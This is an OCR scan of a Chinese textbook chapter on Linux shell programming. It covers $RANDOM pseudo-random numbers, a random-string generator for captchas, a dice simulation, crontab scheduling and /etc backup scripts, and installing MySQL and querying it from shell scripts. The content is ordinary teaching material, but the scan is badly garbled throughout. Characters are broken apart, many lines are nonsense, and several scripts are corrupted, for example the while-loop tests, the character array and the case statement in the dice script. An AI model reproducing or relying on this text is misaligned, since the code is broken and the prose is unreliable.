蝴 机 的 随机 数 ， 它 只 能 产生 “ 伪 随 机 数 ”。 其实， 名 
发 展 ， 它 也 不 会 产生 


它 综合 应 用 了 管道 、 
明了 Linux Shell 工具 在 文 























伪 随 机 数 # 





不 是 假 随机 数 ，i 

















既是 随机 的 ， 又 是 有 规律 的 。 怎 样 
守 任 何 规律 ; 伪 随 机 数 有 一 部 分 遵守 一 定 的 规 得 
昌 同 的 树叶 ”这 正 是 说 明了 事物 的 特性 , 即 随机 性 , 但 是 每 种 树 的 叶子 都 有 
E 是 事物 的 共性 ， 即 规律 性 。 
机 数 ， 不 能 产生 绝对 随机 的 随机 数 。 严 格 地 说 ， 这 上 
来 的 电子 计算 机 ， 而 未 来 的 量子 计算 机 有 可 能 产 多 

C/C++、Java 等 高 级 程序 设计 语言 都 有 产生 伪 随 机 数 的 工 
随机 数 产 生 工 具 , 即 $SRANDOM 函数 , 每 次 调用 这 个 函 





有 两 片 形状 完全 
近似 的 形状 ， 这 a 

















文 里 的 “ 伪 ” 是 有 规 得 




















32767 之 间 。 下 面 先 通过 











random.sh 脚本 用 


MAX=5 


i=1 


echo "$MAX random numbers are generated:" 
While [| “$i 


do 




















E， 我 们 就 容易 理 

















E 基 于 
































' -le $MAX ] 


number=$RANDOM 
echo $number 


let "j=1 让 二 


done 


随机 数 








随机 数 的 总 量 
# 计 数 器 ， 初 值 是 1 


# 调 用 $RANDOM 产生 随机 数 


# 计 数 器 增加 1 








的 意思 ”就 是 计算 机 产 
音 解 呢 ? 产生 的 伪 随 机 数 有 时 遵守 一 定 的 规律 ， 有 时 不 遵 
LE， 另 一 部 分 不 遵守 任何 规 和 




















Gy 一 、 人 


色 对 随机 的 随机 数 
的 随机 数 ， 只 能 





产生 的 伪 随 机 数 








EE， 比 如 ,“ 世 上 没 









































的 计算 机 是 指 
自然 规律 的 不 可 习 





























数 将 返 








符 :， 计算 机 只 能 产生 伪 随 
冯 ，。 诺 依 曼 思 想 发 展 起 
EE 现 的 “ 真 ”随机 数 。 
上 有 具 ，bash Shell 同样 也 定义 了 伪 
一 个 伪 随 机 整数 , 范围 在 0 一 
个 最 简单 的 例子 说 明 $SRANDOM 函数 的 基本 用 法 , 例 17-3 编写 了 
于 产生 5 个 随机 数 : 


# 例 17-3: random. sh 脚本 产生 5 个 
#!/bin/bash 














random.sh 脚本 利用 一 个 while 循环 产生 5 个 随机 数 ，while 循环 体内 调用 $RANDOM 函 





数 


-> 


每 次 调用 产生 不 同 的 随机 数 ， 下 面 我 们 给 


# 例 17-3 random. sh 脚本 的 执行 结果 


[root@zawu shell-program]# chmod u+x random.sh 





作 











Ee 



































H random.sh 脚本 的 执行 结果 : 
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root@zawu shell-program]# ./random.sh # 执 行 random. sh 两 次 得 到 不 同 的 结果 
5 random numbers are generated: 

2208 

22841 

5794 

29988 

S770 

root@zawu shell-program]# ./random.sh 


5 random numbers are generated: 
260 

S11YY 

A4923 

SB 

30535 

root@zawu shell-program]# 


我 们 执行 random.sh 脚本 两 次 得 到 不 同 的 随机 数 序列 。 如 果 我 们 需要 产生 在 特定 范围 内 
的 随机 数 ， 一 般 使 用 取 模 操作 ， 返 回 除法 的 余数 ， 余 数 必定 是 小 于 被 除数 的 。 

随机 数 在 互联 网 中 具有 广泛 的 应 用 背景 ， 如 计算 机 仿真 模拟 、 数 据 加 密 、 网 络 游戏 等 。 
本 节选 取 两 个 随机 数 的 应 用 例子 来 说 明 $RANDOM 函数 在 Shell 脚本 编程 中 的 应 用 。 在 登录 
某 些 论 坛 或 游戏 时 ， 系 统 经 常会 产生 一 个 由 随机 数字 和 字母 组 成 的 图 片 ， 用 户 在 进行 下 一 步 
操作 之 前 ， 必 须 正 确 地 输入 图 片 中 的 数字 和 字母 ,这 是 一 个 防止 恶意 攻击 的 很 好 的 方法 ， 因 
为 油 窜 难以 破解 出 图 片 格式 的 字符 ， 图 17-2 显示 了 登录 QQ 游戏 时 过 到 的 图 片 。 
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z 
















































































17-2 QQ 游戏 的 图 片 验证 方式 














实现 图 片 验证 的 关键 技术 就 是 产生 随机 数 ， 下 面 的 脚本 seqrand.sh 用 于 生成 一 段 定 长 的 
随机 字符 串 ， 字 符 串 由 数字 和 大 小 写字 母 组 成 ，seqrand.sh 脚本 的 内 容 如 下 : 

# 例 17-4: seqrand. sh 脚本 产生 定 长 的 随机 字符 串 

#!/bin/bash 






































length=6 # 随 机 字符 串 的 长 度 
i=1 # 计 数 器 ， 初 值 是 1 





#seq 是 数字 、 大 小 写字 母 的 序列 
seqa (0 2030405968 8999se de fo bem nm on oS eu vw 2 DD 
EESESHE TM oS 





num seq=${#seq[@]} # 计 算 seqg 数组 的 长 度 
wa en # 产 生 $length 个 随机 字符 
do 
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seqrand[$i]=${seq[$ ( (RANDOMSnum seq))]} # 取 模 产 生 num_ seq 内 的 随机 数 
Te Wl 
done 








# 下 面 是 输出 结果 

eeher neamneom St rns 
for j] in ${seqrand[@]} 

do 

echo -n $j 

done 

echo 


seqrand.sh 脚本 首先 定义 几 个 变量 : length 表示 随机 学 符 串 的 长 度 ，i 表示 计数 器 ， 初 值 
为 1，seq 是 一 个 数组 变量 , 保存 了 数字 和 大 小 写字 母 的 序列 ，seq 是 随机 字符 串 产 生 的 全 集 。 
然后 ， seqrand.sh 脚本 计算 seq 数组 的 长 度 ， 赋 给 num_seq。while 循环 是 脚本 的 主体 ， 用 于 
关 生 $length 个 随机 字符 ， 其 中 的 核心 语句 seqrand[$i]=${seq[$((RANDOM%num seq))]} 值 得 
寻味 ， 它 使 用 双 圆 括号 结构 计算 随机 数 RANDOM 与 num_seq 的 取 模 运算 ， 将 取 模 的 结果 作 
索引 去 除 seq 数组 中 对 应 的 值 ， 赋 给 seqrand 数组 。 当 while 循环 结束 时 ， seqrand 数组 即 
保存 随机 字符 串 。 最 后 ，seqrand.sh 脚本 依次 输出 seqrand 数组 ， 得 到 所 产生 的 随机 字符 串 。 
面 给 出 例 17-4 中 seqrand.sh 脚本 的 执行 结果 : 
例 17-4 seqrand.sh 脚本 的 执行 结果 
连续 三 次 执行 seqrandg. sh 脚本 ， 得 到 不 同 的 随机 字符 串 


root@zawu shell-program chmod utx segqrand.sh 


























注 




















Ne 



























































才 相 过 也 
































root@zawu shell-program ./seqrand.sh 
en aelem st me sy 
Mrl8an 

root@zawu shell-program ./seqrand.sh 
em amelormee ee 

4AGHNC 

root@zawu shell-program ./seqrand.sh 


ieeeanelom et ms 
uaWA3J 
root@zawu shell=program 


我 们 连续 三 次 执行 seqrand.sh 脚本 ,得 到 不 同 的 随机 字符 串 。 我 们 可 以 利用 ASPNET 等 
工具 将 这 些 随机 字符 串 封装 成 图 片 格式 以 作为 验证 图 片 。 
网 络 游戏 中 也 经 常 需要 利用 随机 数 完成 一 些 功能 ， 比 如 掷 般 子 、 发 扑 死 牌 等 。 下 面 我 们 
举 一 个 掷 明 子 的 例子 ，dice.sh 脚本 连续 搓 1000 次 人 般 子 ， 然 后 统计 出 1 一 6 点 的 次 数 ，dice.sh 
脚本 的 内 容 如 下 : 


# 例 17-5: dice. sh 脚本 模拟 投 蜗 子 游戏 
SS 







































































PIPS=6 由 有 
MAX=1000 # 投 般 子 的 次 数 
throw=1 # 计 数 器 ， 初 值 是 1 





# 下 面 是 6 个 计数 的 变量 
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five=0 


six=0 


count () # 更 新 计数 的 次 数 
{ 


Gase pl 

















Oe ne cneb # 跟 $PIPS 变量 取 模 为 0 一 5， 因 此 ，0 代表 散 子 的 1 
1) let "two=twot+l";;} 

2) let "three=three+1"7 7 

SD lot Fonr Fon 

4) let "five=five+l";; 

Sone Sd Su 

esac 

) 

while [ "$throw" -le "$MAX" ] # 开 始 掷 山 子 

do 
let "dice=RANDOM % $PIPS" #dice 是 0 一 5 之 间 的 随机 数 
count $dice # 更 新 统计 次 数 的 值 





let "throw=throwt+l1" 
done 





# 下 面 输出 统计 结果 

echo “The statistics results ace as follows:™ 
eeheol one $eoner 

sehnog ne Seve 

Sehnon nese Penee 

Seney om Pen 

echo vfive=$five 


dice.sh 脚本 定义 count 函数 ， 根 据 位 置 参数 对 撕 骨 子 的 点 数 进行 统计 ， 骨 子 有 6 个 面 ， 
PIPS=6，RANDOM % $PIPS 得 出 的 值 就 在 0~5 之 间 。 因 此 ， 用 count 函数 进行 简单 转换 ，0 
对 应 于 山 子 的 1， 以 此 类 推 。dice.sf 脚本 的 while 循环 掷 $SMAX 次 山子 ， 每 得 到 一 个 山子 值 就 
更 新 统计 次 数 ， 最 后 ， 输 出 6 个 统计 变量 的 值 。 下 面 给 出 例 17-5 中 dice.sh 脚本 的 执行 结果 : 

# 例 17-5 dice.sh 脚本 的 执行 结果 

#dice 脚本 的 执行 结果 


[root@zawu shell-program]# chmod u+x dice.sh 








































































































[root@zawu shell-program]# ./dice.sh 

The statistics results are as follows: 

one=189 # 投 到 1 点 的 次 数 是 189 

two=161 

three=163 

four=147 

five=184 

six=156 

[root@zawu shell-program]# 

从 上 面 的 dice.sh 脚本 执行 结果 可 以 看 出 ，Random 函数 产生 的 随机 数 分 布 还 是 比较 平均 
的 ，1000 次 找 骨 子 ， 平 均 每 个 面 应 被 撕 到 166.7 次 ， 结 果 基 本 在 平均 值 左右 浮动 ( 即 方 差 较 
小 )。 总 之 ， 随 机 数 是 编程 的 常用 手段 ， 其 应 用 极为 广泛 ，bash Shell 编程 提供 了 产生 伪 随 机 
数 的 函数 一 一 Random 函数 ， 它 能 方便 地 产生 分 布 较 平 均 的 伪 随 机 数 ， 能 满足 大 部 分 应 用 的 
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crontab 的 设置 和 应 用 








crontab 命令 的 功能 是 以 一 定 的 时 间 间 隔 调度 一 








些 命令 的 执行 。 在 /etc 目录 下 有 一 个 





crontab 文件 ， 这 里 存放 有 系统 运行 的 一 些 调度 程序 。 

我 们 可 以 使 用 下 面 两 条 命令 来 编辑 crontab 调度 表 : 
Goneab usere es 
/ee /erneal 

























































































表 17-1 中 。 


表 17-1 crontab 命令 选项 及 其 意义 

















每 个 用 户 吕 以 建立 时 己 的 调度 crontab ， 


# 与 上 面 两 条 命令 是 等 价 的 

于 每 个 用 户 都 有 自己 的 crontab， 因 此 ， 编 辑 crontab 调度 表 需 要 用 -u user 来 指定 用 户 ; 
而 vi 命令 则 是 编辑 当前 用 户 的 crontab 调度 表 。crontab 命令 -e 选项 表示 编辑 crontab 调度 表 ， 
除了 -e 选项 之 外 ，crontab 命令 还 有 其 他 几 个 选项 ， 我 们 将 crontab 命令 的 选项 及 其 意义 列 于 





























编辑 crontab 调度 表 





在 stdout 上 显示 crontab 








删除 当前 的 crontab 文件 

















Linux 系统 还 定义 了 两 个 文件 来 控制 crontab， 它 们 是 : /etc/cron.allow 和 /etc/cron.deny， 








/etc/cron.allow 表示 哪些 用 户 能 使 用 crontab 命令 ， 如 








果 它 是 一 个 空 文件 ， 表 明 没 有 一 个 用 户 








能 安排 作业 。 如 果 这 个 文件 不 存在 ， 而 有 另外 一 个 文件 /etc/cron.deny， 则 只 有 不 包括 在 这 个 
文件 中 的 用 户 才 可 以 使 用 crontab 命令 。 如 果 它 是 一 个 空 文件 ， 表 明 任何 用 户 都 可 安排 作业 。 














两 个 文件 同时 存在 时 ，cron.allow 优先 ， 如 果 都 不 存在 ， 

















只 有 超级 用 户 可 以 安排 作业 。Linux 


系统 用 户 的 作业 与 它们 预定 的 时 间 存 储 在 文件 /usr/spool/cron/crontabs/username 里 。username 












































还 是 错误 和 输出， 都 将 以 














b 件 形式 发 给 用 户 。 








下 面 的 例 17-6 中 的 命令 显示 了 root 用 户 的 crontab， 


crontab ，/etc/crontab 文件 中 只 有 默认 的 代码 和 注释 。 
# 例 17-6: 显示 了 root 用 户 的 czontab 
[root@zawu shell-program]# crontab -u root -1 





nesereontab Eeroete 

[root@zawu shell-program]# cat /etc/crontab 
SHELL=/bin/bash 

BATH /Sb /lm /dr 
MATLTO=root 

HOME=/ 


0 minute 


站 


(0 S59 
(0 = 2 
| .=--------- eev or momen 

(Gl 2) 
(© = 06) 


二 = 二 三 二 hour 
全 三 = 31) 
[| month 





砷 埋 砷 着 


.= day Of week 











喝 用 户 名 ， 在 相应 的 文件 中 存放 着 该 用 户 所 要 运行 的 命令 。 命 令 执 行 的 结果 无 论 是 标准 输出 








于 目前 还 没有 为 root 用 户 创建 














OR Jan Feb near a 二 二 
(Sunday=0 or 7) OR 

















华 清 远 见 教育 集团 官网 : www. hqyj. com 


























《Linux Shell 编程 从 初学 到 精通 》 


HsUunmon tue ,wed thu, frirsae 


|e ee ee | 
eonmmana eo oe exeeueed # 在 此 添加 定时 执行 的 命令 





[root@zawu shell-program]# 

从 例 17-6 中 /ete/erontab 文件 的 内 容 可 以 看 出 ，crontab 中 的 语句 格 式 为 : 

i 

前 面 的 五 个 “*?” 分 别 表示 “分 钟 、 小 时 、 日 期 、 月 份 、 星 期” 取 值 范围 分 别 为 “0 一 59、 
0 一 23、1 一 31、1 一 12、0 一 6”， 比如: 


























区 天 大 大 工大 # 表 示 每 分 钟 

TE # 表 示 每 小 时 第 1 分 钟 

有 # 表 示 每 天 12 点 第 2 分 钟 〈 每 天 12: 02) 
0-59/2 * * ** # 表 示 每 2 分 钟 执行 一 次 任务 





crontab 在 Linux 系统 管理 方面 有 着 广泛 的 应 用 ， 同 时 ，crontab 也 是 用 户 定制 Shell 环境 
的 常用 工具 ， 下 面 举 一 个 实际 例子 来 说 明 crontab 的 应 用 。 
例 17-7 的 问题 是 : 某 系 统管 理 员 需 每 天 做 一 定 的 重复 工作 ， 请 按照 下 列 要 求 ， 编制 一 个 
解决 方案 : 

Q 在 下 午 4:50 删除 /abc 目录 下 的 全 部 子 目 录 和 全 部 文件 。 

@ 从 早 8:00 到 下 午 6:00 每 小 时 读 取 /xyz 目录 下 xl 文件 中 每 行 第 一 个 域 的 全 部 数据 加 
入 到 /backup 目录 下 的 bak01.txt 文件 内 。 

@ 每 逢 星期 一 下 午 5:50 将 /data 目录 下 的 所 有 目录 和 文件 归档 并 压缩 为 文件 
backup.tar.gz。 

@ 在 下 午 5:55 将 IDE 接口 的 CD-ROM 印 载 “假设 CD-ROM 的 设备 名 为 hdc )。 

@ 在 早晨 8:00 前 开机 后 启动 。 

例 17-7 中 要 求 重复 的 系统 管理 工作 可 以 利用 crontab 很 方便 地 完成 ， 我 们 可 以 在 


/etc/crontab 文件 中 添加 下 面 的 语句 来 完成 : 
# 例 17-7 的 解决 方案 
[root@zawu shell-program]# cat /etc/crontab 
SHELL=/bin/bash 
EATE Sl /m/s /sl /sa 
MAITLTO=root 
HOME=/ 
= mnueen(o 9 
j= hoeure(o0n 23) 
| eave enema 
== momene de 2 oR oan Fela a on 
-dayvofwesse(0 0 sundayv=0 or oR 
sun,mon, tue,wed, thu, fri, sat 
[we ee i) 
* xx * * command to be executed 























































































































































































































50 16 * ww rm -r /abe/* # 完 成 目标 四 
0 8 18/1 * ww Cut £1 /xy2/X1 >;>» /backup/bakoOl.txt # 完 成 目标 @ 
SO M7 a Ze (ee en /ele # 完 成 目标 @) 
55 17 * * * umount /dev/hdc # 完 成 目标 @ 

















[root@zawu shell-program]# 
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我 们 在 crontab 中 加 入 四 条 语句 ， 分 别 对 应 于 例 17-7 




















中 的 中 一 由 个 朋 标 ， 但 是 ， 目 标 @ 











无 法 在 crontab 中 完成 ， 这 需要 在 每 日 早晨 8:00 之 前 开机 后 启动 crontab 。 
最 后 ， 再 举 一 个 利用 crontab 实现 定时 文件 备份 的 例子 ， 比 如 ， 系统 管理 员 在 每 月 第 一 天 




































































备份 并 压缩 /etc 目录 的 所 有 内 容 ， 存 放 在 /root/bak 目录 里 ，. 
中 ，yy 为 年 ，mm 为 月 ，dd 为 日 。 我 们 可 以 编写 





设 定 每 天 执行 该 脚本 来 达到 上 述 目标 。 备 份 脚本 的 名 




















文件 名 形式 为 yymmdd _ etc， 其 











个 脚本 实现 备份 功能 ， 然 后 在 crontab 中 
字 为 fileback.sh， 内 容 如 下 : 




















# 例 17-8: fileback.sh 脚本 用 于 将 /etc 目录 的 所 有 内 容 进行 备份 


#!/bin/bash 

DIRNAME= “1s /root | grep bak. 
IE [ -=z "9$DIRNAME" ] 
then 

mkdir /root/bak 


cd /root/bak 
下 








数据 存储 到 YY、MM、DD 变量 中 














# 获 取 当 前 年 、 月 、 
YY= “date +%y. 
MM= date +%m. 
DD= date +%d. 


BACKETC=$YY$MM$DD etc.tar.gz 
tar Zevf $BACKETC /etc 


echo "fileback finished!™" 








# 获 取 /root/bak 字符 串 





# 如 果 /root/bak 不 存在 ， 则 创建 一 个 





# 备 份 文件 的 名 字 
# 将 /etc 的 所 有 文件 打包 








在 fileback.sh 脚本 中 ， 首 先 试图 获取 /root/bak 字符 串 ， 如 果 该 目录 不 存在 ， 则 立刻 创建 


该 目录 ; 然后 ， 利 用 date 命令 获取 当前 年 月、 日 数据 ， 并 存储 到 YY、MM、DD 变量 中 ， 








利用 此 三 个 变量 组 成 备份 文件 的 名 字 ， 
的 所 有 文件 打包 放 到 BACKETC 文件 中 。 
我 们 只 要 在 /etc/crontab 中 添加 语句 ， 使 
期 备份 功能 。 
# 例 17-8 fileback.sh 脚本 的 执行 结果 
[root@zawu shell-program]# cat /etc/crontab 
SHELL=/bin/bash 
PATE MS o/s Sl se 
MATLTO=root 
HOME=/ 






































mat eo 二 汉人 
mae 0 = 2 
dev ofemeontl 

G2 
(0 =) 


GS 
后 month 
I) 


sun,mon, tue,wed, thu, fri, sat 


大 大 大 大 大 


day ofweek 


command to be executed 





0 Ea eae 
root@zawu shell-program]# 

















例 17-8 的 思路 可 以 扩展 到 很 多 实际 的 例子 中 ,32 


加 





存储 到 BACKETC 变量 中 ; 最后， 利用 tar 命令 将 /etc 





得 每 天 执行 fleback.sh 脚本 一 次 ， 就 可 以 完成 定 


OR on Ee nen or 
(Sunday=0 or 7) 


OR 


# 每 天 执行 fileback. sh 脚本 一 次 





编写 一 个 实现 基本 操作 的 脚本 ， 再 利用 
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crontab 定时 执行 它 


使 用 MySQL 数据 库 本 


17.5.1 MySQL 基础 


数据 库 能 永久 存储 各 种 数据 ，Shell 脚本 经 常 需要 从 数据 库 中 读 取 数据 、 处 理 数 据 ， 再 将 
结果 写 回 到 数据 库 ，Linux 系统 中 常用 的 数据 库 有 MySQL、PostgreSQL、Oracle、DB2 等 ， 
Shell 脚本 使 用 这 些 数 据 库 的 方法 大 同 小 异 ， 本 节 以 MySQL 数据 库 管 理 系 统 为 例 , 介绍 Shell 
编程 与 MySQL 的 结合 使 用 。 

MySQL 是 一 个 高 性 能 的 关系 型 数据 库 管理 系统 ， 具 有 功能 强大 、 灵 活性 好 的 应 用 编程 
接口 (API〉 和 精巧 的 系统 结构 。MySQL 是 现今 世界 上 最 受 欢迎 的 开放 源 代码 数据 库 ， 受 到 
了 广大 软件 用 户 的 青睐 。 由 于 体积 小 、 速 度 快 、 总 体 拥有 成 本 低 ， 尤 其 是 开放 源 代码 这 一 特 
点 ，Internet 上 的 许多 中 和 型 网 站 都 选择 MySQL 作为 网 站 数据 库 。 

MySQL 现在 已 经 成 为 大 部 分 Linux 系统 的 可 选 组 件 ，Linux 安装 光盘 上 附带 了 MySQL 
的 RPM 包 ， 安 装 Linux J 这 并 MySQL。 以 Fedora Core 11 系统 为 例 ， 如 果 用 户 没 
有 安装 MySQL， 就 需要 依次 安装 以 下 包 : perl-DBI-1.60722.fc11.i586.rpm、perl-DBD-MySQL- 
4.010-1.fc11.i586.rpm、 mysql-5.1.32-1.fe11.1586.rpm~ mysql-server-5.1.32-1.fc11.1586.rpm， 这 
些 包 之 间 具 有 依赖 关系 。MySQL 的 安装 过 程 如 下 : 

# 安 装 per1-DBI-1.607-2.fcl1.1586.rpm 

[root@zawu local]# rpm -ivh perl-DBI-1.607-2.fcl1.1586.rpm 


warning: perl-DBI-1.607-2.fcll1.i586.rpm: Header V3 RSA/SHA256 signature: NOKEY, key ID 
d22e77f2 

Pele 非 提 提 太太 非 提 提 提 捍 非 提 提 提 捍 提 提 提 捍 捍 提 提 提 挤 捍 提 提 提 持 提 提 提 提 捍 提 提 提 提 捍 提 ### [1O0s%] 

Rackage permlt Der G0 2 eel sm oecaay nestonmned 

# 安 装 perl-DBD-MySQL-4.010-1.fcll.i586.rpm 

LeeEtsan ocean em vem DED MyYSOL 4 O00 TT ol en 

warning: perl-DBD-MySQL-4.010-1.fcll1.i586.rpm: Header V3 RSA/SHA256 signature: NOKEY, 
key ID d22e77f2 

Preparing... 非 井 提 提 捍 捍 提 提 扩 持 捍 提 提 提 持 提 提 提 捍 持 提 提 提 捍 捍 提 提 扩 持 捍 提 提 提 扩 提 提 提 提 捍 间 ### [1O0s%] 

Werel DED MYSOD 非 提 提 提 提 间 间 捍 提 捍 提 提 # 提 捍 提 扩 提 并 提 提 扩 提 扩 提 提 捍 提 社 提 扩 # 提 捍 提 扩 间 并 提 提 提 ## [ 工 0O 和 村] 

# 安 装 mysql-5.1.32-1.fcll.i586.rpm 

lectzam Tecall on -BA neen=3 .1.221 Cll 1153525. 5an 

Warmine .mye oI te Se rm Header Vv RA sion vue NoRE YY rey TD 
d22e77f2 






































| 
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Beal ne ss 非 扩 提 提审 提 提 提 井 持 扩 提神 提 社 提 提 社 提 提 提 提 村 提 捍 提 提 持 提 井 持 提 井 扩 提 提 扩 井 提 ## [100sS] 
l:mysql 莫 扩 提 提 提 提 六 提 持 提 井 持 井 社 提 井 社 提 提 扩 提 提 扩 提 捍 提 井 持 提 井 守 并 井 社 提 提 ## 井 ## [100s%] 
# 安 装 mysql-server-5.1.32-1.fcll.i586.rpm， 这 样 该 机 器 可 以 作为 MySQL 服务 器 端 


本 
warning: mysdl-server-5.1.32-1.fcl1.1586.rpm: Header V3 RSA/SHA256 signature: NOKEY, 
key ID d22e77f2 
Prepar no 非 提 提 扩 挤 非 提 提 扩 持 捍 提 提 扩 持 提 提 提 扩 持 提 提 提 扩 六 提 提 扩 扩 提 井 提 提 扩 提 井 提 提 提 间 ### [1O0s%] 
1:mysql-server 非 ## 提 太太 捍 提 提 扩 持 捍 提 提 提 持 提 提 提 提 六 提 提 提 扩 捍 井 提 提 持 捍 井 提 提 捍 提 井 提 提 提 #### [10O0s%] 
[root@zawu locall]# 
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MySQL 安装 完毕 之 后 ， 需 要 通过 以 下 几 条 命令 启动 MySQL: 
root@zawu local]# mysql install db -user=mysql # 新 建 mysql 用 户 
mstammkne My Sosvetentales 


























OOMATAT/ O06: S32 lIwarningllonoring user enange to ser mysgql because Ene user WaS Set 


"mysou eertieronthe commancm line 
00414 17:06:32 [Warning| Ignoring user change to ‘ser=mysql' because the user was set 
"vse ealier on te eonmmanmam lie 


QOATA e062 nano st wn oe ees 











本 因 篇 幅 所 限 ， 省 略 若干 行 中 间 结 果 


The latest information about MySQL is available at http://www.mysql.com/ 

















SUBBoreEM Ome ouvyin su or eenses rommtee/ /sno mo om/ 

root@zawu local]# mysqld safe -user=mysql] & 后 台 安 全 启动 MySQL 数据 库 

1] 8997 作业 号 和 进程 号 

rootezaw ean oA 0 myealemsate Mon oq /vor/Aloo/myeole oe 
00414 17:07:13 mysqld safe Starting mysgqld daemon with databases from /var/lib/mysgl 









































om lodallt 33 -a | TE Vin 查看 mysqgl 进程 
8997 pts/0 Qo00 O00y scenese 


9071 pts/0 00:00:00 mysqld 


利用 ps 命令 查看 到 mysql 进程 后 才能 确定 MySQL 数据 库 服务 器 启动 成 功 ， 客 户 端 方 能 



































连接 到 MySQL。 第 一 次 启动 MySQL 数据 库 时 ; 可 以 使 用 mysqladmin 命令 设置 超级 用 户 root 
的 密码 , 该 root 用 户 是 指 MySQL 的 管理 员 , 与 操作 系统 的 root 用 户 无 关 。 下面 给 出 设置 root 
用 户 密 码 和 登录 MySQL 的 过 程 : 


动 ， 




















将 MySQL 的 root 用 户 密码 设置 为 seugrid 

root@zawu locall# mysqladmin -u root password seugrid 

root@zawu locall]# mysql -u root -p # 以 root 用 户 登 录 MySQL 
Enter password: # 在 此 输入 密码 

Welcome to the MySQL monitor. Commands end with ; or \g. 

mom eM Ol eonmeetuon ise 








Server version: 5.1.32 Source distribution 


meeem nel or er nel le Nee to elear ene buneeer 





mysql> # 二 级 提示 符 出 现 ， 登 录 成 功 
登录 MySQL 成 功 就 表示 MySQL 安装 和 配置 已 经 成 功 , 并 且 MySQL 服务 器 进程 已 经 启 


这 样 我 们 就 可 以 编写 Shell 脚本 并 使 用 MySQL 数据 库 了 。 





















































= 


























17.5.2 Shell 脚本 使 用 MySQL 











Shell 脚本 若 要 使 用 MySQL， 首 先 需要 登录 数据 库 服 务 器 ， 登 录 成 功 后 才能 向 数据 库 提 





交 SQL 语句 。 下 面 的 例 17-9 给 出 一 个 用 于 登录 MySQL 服务 器 的 脚本 : 





# 例 17-9: log. sh 脚本 登录 MySQL 服务 器 
#1/bin/bash 


MYSQL= `which mysdq] # 利 用 命令 蔡 换 获得 mysql 的 路 径 
$MYSQL -u mysql -p # 以 mysql 用 户 登录 MySQL 数据库 
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log.sh 脚本 首先 利用 命令 蔡 换 获得 mysql 的 路 径 ，which mysql 命令 的 结果 一 般 是 
/ust/bin/mysql， 将 此 结果 保存 到 MYSQL 变量 中 ， 然 后 执行 该 变量 ，-u 参数 带 上 登录 数据 库 
的 用 户 名 ，-p 选项 表示 需要 密码 验证 。log.sh 脚本 是 其 他 使 用 MySQL 数据 库 的 基础 ， 而 且 
利用 MYSQL=`which mysql 这 种 方法 极 易 扩展 到 其 他 数据 库 ， 比 如 : 数据 库 服务 器 基于 
PostgreSQL 构建 时 ， 我 们 仅 需 重新 定义 一 个 变量 即 可 : 


ESG whienesarn 


















































We 














ESOTEEeS 
下 面 是 log.sh 脚本 的 执行 结果 ， 执 行 log.sh 脚本 后 ， 提 示 输 入 密码 ， 密 码 输入 正确 后 ， 
即 可 登录 MySQL 数据 库 。 


# 例 17-9 1log.sh 脚本 的 执行 结果 

[root@zawu MySQL-instancel]# chmod u+x log.sh 

[root@zawu MySQL-instance]# ./log.sh # 执 行 10g .sh 脚本 
Enter password: # 在 此 输入 密码 
Welcome to the MySQL monitor. Commands end with ; or \g. 

VemM oneonneeerener a se 

Servereversieon:. 5 T3290Souree dnstri ut en 


Tye nelo: or mor ne Ly EC Ne elear eneuftfer. 





mysql> # 一 级 提示 符 出 现 ， 登 录 成 功 
MySQL 数据 库 服 务 器 是 基于 数据 库 、 表 和 数据 来 实现 数据 存储 的 ， 服 务 器 上 包含 多 个 
数据 库 ， 每 个 数据 库 可 以 包含 多 张 表 ， 表 包含 多 个 字段 ， 数 据 是 存储 在 表 中 的 。 在 MySQL 
二 级 提示 符 《〈 即 mysql>) 下 输入 一 些 命令 ， 可 以 查看 当前 数据 库 、 表 ， 下 面 的 例 17-10 给 出 
































查看 数据 库 的 命令 : 
# 例 17-10: 查看 数据 库 、 进 入 数据 库 的 命令 
oocezaw MY or nceancelt ns Wo e # 以 root 登录 数据 库 


Enter password: 

weleonmedee ehne My Om monlieor Comangds nanwien oo 
Monmevy or onneer omrs 

ServerversLiomn lS Source drsterueren 


Tye nel oc morcmnel Lee Ve eomelear enenlutier 

















mysql> show databases; # 显 示 服 务 器 上 包含 的 数据 库 名 称 
re 训 
Database | 
十 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 + # 下 面 是 包含 三 个 数据 库 的 名 称 
Tntonmmaeclongselremaal 
mysql 
GSS | 





3 rows in set (0.00 sec) 














mysql> use test; # 进 入 test 数据 库 
Reading table information for completion of table and column names 
Vou eon Cournortt enns teature toroet acculieker Soreupwicn a 


Database changed # 提 示 数 据 库 变 换 成 功 
mysql> 
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在 MySQL 二 级 提示 符 下 的 命令 是 MySQL 特有 的 命令 ,并 不 是 Shell 命令 ,注音 , MySQL 





每 条 命令 后 都 需要 用 分 号 (;) 结 束 , 若 没 有 分 与 , MySQL 将 不 执行 输入 的 命令 .show databases 
命令 用 于 显示 当前 服务 器 上 所 有 的 数据 库 名 称 ， 目 前 ，MySQL 中 存在 三 个 数据 库 : 


info 

















rmation Schema、mysql 和 test，use test 表示 选择 test 数据 库 ， 即 进入 test 数据 库 ， 进 入 











某 数 据 库 后 ， 才 能 碍 看 或 新 建 该 数据 库 的 表 。 值 得 一 提 的 是 ，MySQL 命令 是 不 区 分 大 小 写 


的 ， 


如 下 : 

















例如 ，show databases 和 SHOW DATABASES 是 等 价 的 。 
下 面 举 一 个 例子 ， 该 例子 在 脚本 中 创建 MySQL 数据 库 表 ， 脚 本 名 字 是 create.sh， 内 容 














# 例 17-11: create. sh 脚本 创建 people 表 
#!/bin/bash 


MYSOL= which mysql. 


$MYSQL test -u mysdql -p <<EOF #Here-document 用 法 

# 创 建 people 表 ， 包 含 4 个 属性 

create table People (name VARCHAR(20),sex CHAR(1),birth DATE,birthaddr VARCHAR (20)); 
show tables; 
# 可 以 加 入 任意 MySQL 命令 和 SQL 语句 
EOF 


create.sh 脚本 极 具 参考 价值 ， 可 以 作为 编写 使 用 MySQL 的 Shell 脚本 的 模板 。 首 先 ， 仍 























然 是 将 mysql 的 路 径 保存 到 MYSQL， 再 利用 MYSQL 登录 数据 库 ，$MYSQL test 表示 登录 
到 MySQL 服务 器 的 test 数据库， 相当 于 例 17-10 中 的 use test 命令 ，-u mysql 表示 以 mysql 


用 户 的 身份 登录 ，-p 表示 需要 密码 验证 ;<<EOF 是 Here-document 用 法 ， 我 们 以 前 只 介绍 过 


cat 





便 


任意 MySQL 命令 和 SQL 语句 就 相当 于 mysq 户 后 面 所 输入 的 命令 。 因此, 这 种 用 法 可 以 很 方 





























命令 的 Here-document 用 法 ， 数 据 库 操作 依然 可 以 使 用 此 用 法 ， 在 两 个 EOF 之 间 输 入 的 





























